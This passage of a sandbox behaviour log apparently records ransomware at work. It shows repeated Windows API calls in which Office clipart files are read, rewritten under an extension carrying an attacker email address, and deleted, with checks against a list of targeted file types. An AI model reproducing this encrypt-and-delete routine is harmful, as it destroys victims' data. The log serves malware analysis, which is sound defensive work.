returned -1 [0176.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.162] lstrlenW (lpString=".dbf") returned 4 [0176.162] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.162] lstrlenW (lpString=".1cd") returned 4 [0176.162] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.162] lstrlenW (lpString=".jpg") returned 4 [0176.162] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.162] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0176.162] lstrlenW (lpString="SWEST_01.MID") returned 12 [0176.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.164] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=8501) returned 1 [0176.164] CloseHandle (hObject=0x544) returned 1 [0176.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0176.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.165] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.165] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0176.166] GetLastError () returned 0x0 [0176.166] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2135, lpOverlapped=0x0) returned 1 [0176.254] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2140, lpOverlapped=0x0) returned 1 [0176.255] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.255] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.256] SetEndOfFile (hFile=0x434) returned 1 [0176.530] CloseHandle (hObject=0x434) returned 1 [0176.530] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.530] SetEndOfFile (hFile=0x544) returned 1 [0176.534] CloseHandle (hObject=0x544) returned 1 [0176.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0176.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.537] lstrlenW (lpString=".doc") returned 4 [0176.537] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.537] lstrlenW (lpString=".docx") returned 5 [0176.537] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.537] lstrlenW (lpString=".pdf") returned 4 [0176.537] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.537] lstrlenW (lpString=".xls") returned 4 [0176.537] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.537] lstrlenW (lpString=".xlsx") returned 5 [0176.537] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.537] lstrlenW (lpString=".ppt") returned 4 [0176.537] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.537] lstrlenW (lpString=".zip") returned 4 [0176.537] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.537] lstrlenW (lpString=".rar") returned 4 [0176.537] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.537] lstrlenW (lpString=".bz2") returned 4 [0176.537] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.537] lstrlenW (lpString=".7z") returned 3 [0176.537] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.537] lstrlenW (lpString=".dbf") returned 4 [0176.537] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.537] lstrlenW (lpString=".1cd") returned 4 [0176.537] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.537] lstrlenW (lpString=".jpg") returned 4 [0176.537] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.538] lstrlenW (lpString=".doc") returned 4 [0176.538] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.538] lstrlenW (lpString=".docx") returned 5 [0176.538] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.538] lstrlenW (lpString=".pdf") returned 4 [0176.538] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.538] lstrlenW (lpString=".xls") returned 4 [0176.538] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.538] lstrlenW (lpString=".xlsx") returned 5 [0176.538] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.538] lstrlenW (lpString=".ppt") returned 4 [0176.538] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.538] lstrlenW (lpString=".zip") returned 4 [0176.538] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.538] lstrlenW (lpString=".rar") returned 4 [0176.538] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.538] lstrlenW (lpString=".bz2") returned 4 [0176.538] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.538] lstrlenW (lpString=".7z") returned 3 [0176.538] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.538] lstrlenW (lpString=".dbf") returned 4 [0176.538] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.538] lstrlenW (lpString=".1cd") returned 4 [0176.538] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0176.538] lstrlenW (lpString=".jpg") returned 4 [0176.538] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.539] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0176.539] lstrlenW (lpString="URBAN_01.MID") returned 12 [0176.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.542] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=13358) returned 1 [0176.542] CloseHandle (hObject=0x544) returned 1 [0176.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0176.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.543] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.543] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0176.545] GetLastError () returned 0x0 [0176.545] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x342e, lpOverlapped=0x0) returned 1 [0176.547] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x3430, lpOverlapped=0x0) returned 1 [0176.548] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.548] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.548] SetEndOfFile (hFile=0x434) returned 1 [0176.549] CloseHandle (hObject=0x434) returned 1 [0176.550] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.550] SetEndOfFile (hFile=0x544) returned 1 [0176.553] CloseHandle (hObject=0x544) returned 1 [0176.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.555] lstrlenW (lpString=".doc") returned 4 [0176.555] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.555] lstrlenW (lpString=".docx") returned 5 [0176.555] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.555] lstrlenW (lpString=".pdf") returned 4 [0176.555] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.555] lstrlenW (lpString=".xls") returned 4 [0176.555] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.555] lstrlenW (lpString=".xlsx") returned 5 [0176.555] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.555] lstrlenW (lpString=".ppt") returned 4 [0176.555] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.555] lstrlenW (lpString=".zip") returned 4 [0176.555] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.555] lstrlenW (lpString=".rar") returned 4 [0176.555] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.555] lstrlenW (lpString=".bz2") returned 4 [0176.555] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.555] lstrlenW (lpString=".7z") returned 3 [0176.555] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.555] lstrlenW (lpString=".dbf") returned 4 [0176.555] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.555] lstrlenW (lpString=".1cd") returned 4 [0176.555] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.556] lstrlenW (lpString=".jpg") returned 4 [0176.556] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.556] lstrlenW (lpString=".doc") returned 4 [0176.556] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.556] lstrlenW (lpString=".docx") returned 5 [0176.556] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.556] lstrlenW (lpString=".pdf") returned 4 [0176.556] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.556] lstrlenW (lpString=".xls") returned 4 [0176.556] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.556] lstrlenW (lpString=".xlsx") returned 5 [0176.556] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.556] lstrlenW (lpString=".ppt") returned 4 [0176.556] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.556] lstrlenW (lpString=".zip") returned 4 [0176.556] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.556] lstrlenW (lpString=".rar") returned 4 [0176.556] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.556] lstrlenW (lpString=".bz2") returned 4 [0176.556] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.556] lstrlenW (lpString=".7z") returned 3 [0176.556] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.556] lstrlenW (lpString=".dbf") returned 4 [0176.556] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.556] lstrlenW (lpString=".1cd") returned 4 [0176.556] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0176.557] lstrlenW (lpString=".jpg") returned 4 [0176.557] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.557] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0176.557] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0176.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.558] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4961) returned 1 [0176.559] CloseHandle (hObject=0x544) returned 1 [0176.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0176.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.559] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.559] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0176.560] GetLastError () returned 0x0 [0176.560] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1361, lpOverlapped=0x0) returned 1 [0176.563] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1370, lpOverlapped=0x0) returned 1 [0176.564] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.564] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.564] SetEndOfFile (hFile=0x434) returned 1 [0176.564] CloseHandle (hObject=0x434) returned 1 [0176.565] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.565] SetEndOfFile (hFile=0x544) returned 1 [0176.786] CloseHandle (hObject=0x544) returned 1 [0176.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0177.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.222] lstrlenW (lpString=".doc") returned 4 [0177.222] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0177.222] lstrlenW (lpString=".docx") returned 5 [0177.222] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0177.222] lstrlenW (lpString=".pdf") returned 4 [0177.222] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0177.222] lstrlenW (lpString=".xls") returned 4 [0177.222] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0177.222] lstrlenW (lpString=".xlsx") returned 5 [0177.222] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0177.222] lstrlenW (lpString=".ppt") returned 4 [0177.222] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0177.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.222] lstrlenW (lpString=".zip") returned 4 [0177.222] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0177.222] lstrlenW (lpString=".rar") returned 4 [0177.222] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0177.222] lstrlenW (lpString=".bz2") returned 4 [0177.222] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0177.222] lstrlenW (lpString=".7z") returned 3 [0177.222] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0177.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.222] lstrlenW (lpString=".dbf") returned 4 [0177.222] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0177.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.222] lstrlenW (lpString=".1cd") returned 4 [0177.223] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.223] lstrlenW (lpString=".jpg") returned 4 [0177.223] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.223] lstrlenW (lpString=".doc") returned 4 [0177.223] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0177.223] lstrlenW (lpString=".docx") returned 5 [0177.223] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0177.223] lstrlenW (lpString=".pdf") returned 4 [0177.223] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0177.223] lstrlenW (lpString=".xls") returned 4 [0177.223] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0177.223] lstrlenW (lpString=".xlsx") returned 5 [0177.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0177.223] lstrlenW (lpString=".ppt") returned 4 [0177.223] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.223] lstrlenW (lpString=".zip") returned 4 [0177.223] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0177.223] lstrlenW (lpString=".rar") returned 4 [0177.223] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0177.223] lstrlenW (lpString=".bz2") returned 4 [0177.223] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0177.223] lstrlenW (lpString=".7z") returned 3 [0177.223] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.223] lstrlenW (lpString=".dbf") returned 4 [0177.224] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.224] lstrlenW (lpString=".1cd") returned 4 [0177.224] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0177.224] lstrlenW (lpString=".jpg") returned 4 [0177.224] lstrcmpiW 